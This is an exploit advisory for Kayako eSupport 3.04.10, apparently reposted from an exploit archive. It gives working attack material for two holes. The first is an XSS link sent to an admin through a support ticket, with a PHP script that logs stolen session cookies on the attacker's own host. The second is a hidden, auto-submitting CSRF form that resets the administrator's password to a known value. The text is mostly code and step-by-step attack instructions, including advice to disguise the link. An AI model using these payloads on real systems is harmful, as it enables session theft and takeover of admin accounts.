Kayako eSupport 3.04.10 - XSS/CSRF Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Kayako eSupport v3.04.10 XSS/CSRF Vulnerabilitie

                                                #################################################################################################################
[+] Exploit Title : kayako (xss/xsrf) Remote Vulnerabilities
[+] Author : By D3V!L FUCKER
[+] Script Link : http://www.kayako.com/solutions/esupport/
[+] Version :  Kayako eSupport v3.04.10
[+] Tested on : linux ubuntu 9.10
[+] Code :
#################################################################################################################
+++++++++++++++++++++++++
http://server/path/staff/index.php?_m=tickets&_a=manage&s_query=&#34;&#62;
==================================================================
PoC
--
[+] Make 2 files and upload to your host :
[+]cookie.php  - &#62; Put in this File That Code:
 &#60;?php
 $cookie = $_GET[&#39;cookie&#39;];
 $log = fopen(&#34;log.txt&#34;, &#34;a&#34;);
 fwrite($log, $cookie .&#34;\n&#34;);
 fclose($log);
 ?&#62;
[+]log.txt   - &#62; CHMOD it 777 and put in the same directory with cookie.php

[+]Exploit:
   -------
1) Register in The SIte
2)Open New Ticket
3)We Put in
  To:admin name
  Subject: Some Subject
  Message: http://server/path/staff/index.php?_m=tickets&_a=manage&s_query=&#34;&#62; //Cover The Link By Any Thing Use Your Brain
  The js code Worked When The admin Read The Message
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2) Xsrf POC
+++++++++++++++++

&#60;form name=&#34;staffform&#34; id=&#34;staffform&#34; action=&#34;http://site.com/path/admin/index.php?_m=core&_a=editstaff&staffid=1&#34; method=&#34;POST&#34;&#62;

&#60;body onload=&#34;document.forms.staffform.submit();&#34;&#62;
&#60;!-- Name --&#62;
&#60;input type=&#34;hidden&#34; name=&#34;fullname&#34; id=&#34;fullname&#34; value=&#34;admin&#34; /&#62;&#60;br&#62;

&#60;!-- UserName --&#62;
&#60;input type=&#34;hidden&#34; name=&#34;username&#34; id=&#34;username&#34; value=&#34;admin&#34; /&#62;&#60;/br&#62;

&#60;!-- password --&#62;
&#60;input type=&#34;hidden&#34; name=&#34;password&#34; id=&#34;password&#34; value=&#34;123123&#34; /&#62;&#60;/br&#62;

&#60;!-- Re-enter Password --&#62;
&#60;input type=&#34;hidden&#34; name=&#34;passwordconfirm&#34; id=&#34;passwordconfirm&#34; value=&#34;123123&#34; /&#62;&#60;/br&#62;

&#60;!-- E-mail --&#62;
&#60;input type=&#34;hidden&#34; name=&#34;email&#34; id=&#34;email&#34; value=&#34;[email protected]&#34; /&#62;&#60;/br&#62;

&#60;!-- Mobile Phone Number --&#62;
&#60;input type=&#34;hidden&#34; name=&#34;mobilenumber&#34; id=&#34;mobilenumber&#34; value=&#34;&#34; /&#62;&#60;/br&#62;


&#60;!-- Group --&#62;
&#60;input type=&#34;hidden&#34; name=&#34;staffgroupid&#34; value=&#34;1&#34; /&#62;&#60;/br&#62;


&#60;!-- Assigned Departments --&#62;
&#60;input type=&#34;hidden&#34; name=&#34;assigneddepid[]&#34; value=&#34;1&#34; /&#62;&#60;/br&#62;

&#60;input type=&#34;hidden&#34; name=&#34;submitbutton&#34; class=&#34;yellowbuttonbig&#34; value=&#34;Update Staff&#34; /&#62; &#60;/br&#62;

&#60;/table&#62;&#60;/td&#62;&#60;/tr&#62;&#60;/tbody&#62;&#60;/table&#62;

&#60;input type=&#34;hidden&#34; name=&#34;_m&#34; value=&#34;core&#34;/&#62;

&#60;input type=&#34;hidden&#34; name=&#34;_a&#34; value=&#34;editstaff&#34;/&#62;

&#60;input type=&#34;hidden&#34; name=&#34;step&#34; value=&#34;1&#34;/&#62;

&#60;input type=&#34;hidden&#34; name=&#34;staffid&#34; value=&#34;1&#34;/&#62;


&#60;/form&#62;

&#60;/html&#62;

################################################################################################################
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1